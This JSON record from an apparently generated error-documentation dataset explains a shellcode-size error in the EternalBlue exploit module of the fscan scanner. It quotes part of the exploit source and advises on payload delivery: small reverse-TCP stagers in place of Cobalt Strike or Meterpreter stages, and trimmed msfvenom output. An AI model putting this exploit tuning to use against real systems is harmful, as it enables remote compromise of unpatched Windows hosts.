{"record":{"id":"ef540418649d3e0a","repo":"shadow1ng/fscan","slug":"sc-size-d-d-big-d","errorCode":null,"errorMessage":"sc size %d > %d big %d","messagePattern":"sc size (.+?) > (.+?) big (.+?)","errorType":"exception","errorClass":null,"httpStatus":null,"severity":"error","filePath":"plugins/services/ms17010_exp.go","lineNumber":20,"sourceCode":"\npackage services\n\nimport (\n\t\"bytes\"\n\t\"encoding/binary\"\n\t\"fmt\"\n\t\"io\"\n\t\"net\"\n\t\"time\"\n)\n\nfunc eternalBlue(address string, initialGrooms, maxAttempts int, sc []byte) error {\n\t// check sc size\n\tconst maxscSize = packetMaxLen - packetSetupLen - len(loader) - 2 // uint16\n\tl := len(sc)\n\tif l > maxscSize {\n\t\t//fmt.Println(maxscSize)\n\t\treturn fmt.Errorf(\"sc size %d > %d big %d\", l, maxscSize, l-maxscSize)\n\t}\n\tpayload := makeKernelUserPayload(sc)\n\tvar (\n\t\tgrooms int\n\t\terr    error\n\t)\n\tfor i := 0; i < maxAttempts; i++ {\n\t\tgrooms = initialGrooms + 5*i\n\t\terr = exploit(address, grooms, payload)\n\t\tif err == nil {\n\t\t\treturn nil\n\t\t}\n\t}\n\treturn err\n}\n\nfunc exploit(address string, grooms int, payload []byte) error {\n\t// connect host","sourceCodeStart":2,"sourceCodeEnd":38,"githubUrl":"https://github.com/shadow1ng/fscan/blob/95cc12e753bf43de7004e5aef42a9ffba3934303/plugins/services/ms17010_exp.go#L2-L38","documentation":"eternalBlue rejects shellcode larger than maxscSize = packetMaxLen - packetSetupLen - len(loader) - 2, because the shellcode plus the DoublePulsar loader must fit inside a single SMB Trans2 packet whose length field is uint16-bounded. The library throws this pre-flight so it never sends a truncated or unsendable payload.","triggerScenarios":"Passing a decoded shellcode byte slice longer than maxscSize to eternalBlue — typically via a large custom config.Shellcode hex string or a `file:` shellcode file whose contents exceed the packet budget.","commonSituations":"Using large staged payloads, big Cobalt Strike beacon or Meterpreter stages embedded directly instead of a small stager; appending extra data to the shellcode file; generating msfvenom payloads without -f hex size constraints.","solutions":["Use a small stager shellcode instead of a full stage (e.g. a reverse_tcp stager of a few hundred bytes) and deliver the large payload over the network.","Regenerate the payload with msfvenom minimizing size (avoid embedded DLLs/large configs).","Trim the `file:`-referenced shellcode file to fit under the limit; compute the limit as packetMaxLen - packetSetupLen - len(loader) - 2 in the package.","Check the error's third value (overflow amount) to see exactly how many bytes to cut."],"exampleFix":"// before\nsc, _ := os.ReadFile(\"full_beacon.bin\") // tens of KB, exceeds packet budget\n// after\nsc, _ := os.ReadFile(\"stager.bin\")     // small reverse-shell stager within maxscSize","handlingStrategy":"validation","validationCode":"maxscSize := packetMaxLen - packetSetupLen - len(loader) - 2\nif len(scBytes) > maxscSize {\n    return fmt.Errorf(\"shellcode %d bytes exceeds packet budget %d; use a smaller stager\", len(scBytes), maxscSize)\n}","typeGuard":null,"tryCatchPattern":null,"preventionTips":["Always use small stager shellcode, never full staged payloads, for EternalBlue delivery.","Add a build-time or config-load-time size assertion against maxscSize.","Compute the budget from packetMaxLen/packetSetupLen/loader constants rather than hardcoding a number.","Keep msfvenom payloads minimal (no embedded large stages) when targeting SMB exploits."],"tags":["go","payload-size","shellcode","smb","limit-exceeded"],"backgroundTag":"payload-too-large","analyzedSha":"95cc12e753bf43de7004e5aef42a9ffba3934303","analyzedAt":"2026-09-06T17:07:30.094Z","contentChangedAt":"2026-09-06T17:07:30.094Z","schemaVersion":2},"datasetVersion":"2026-09-14T00:17:10.932Z"}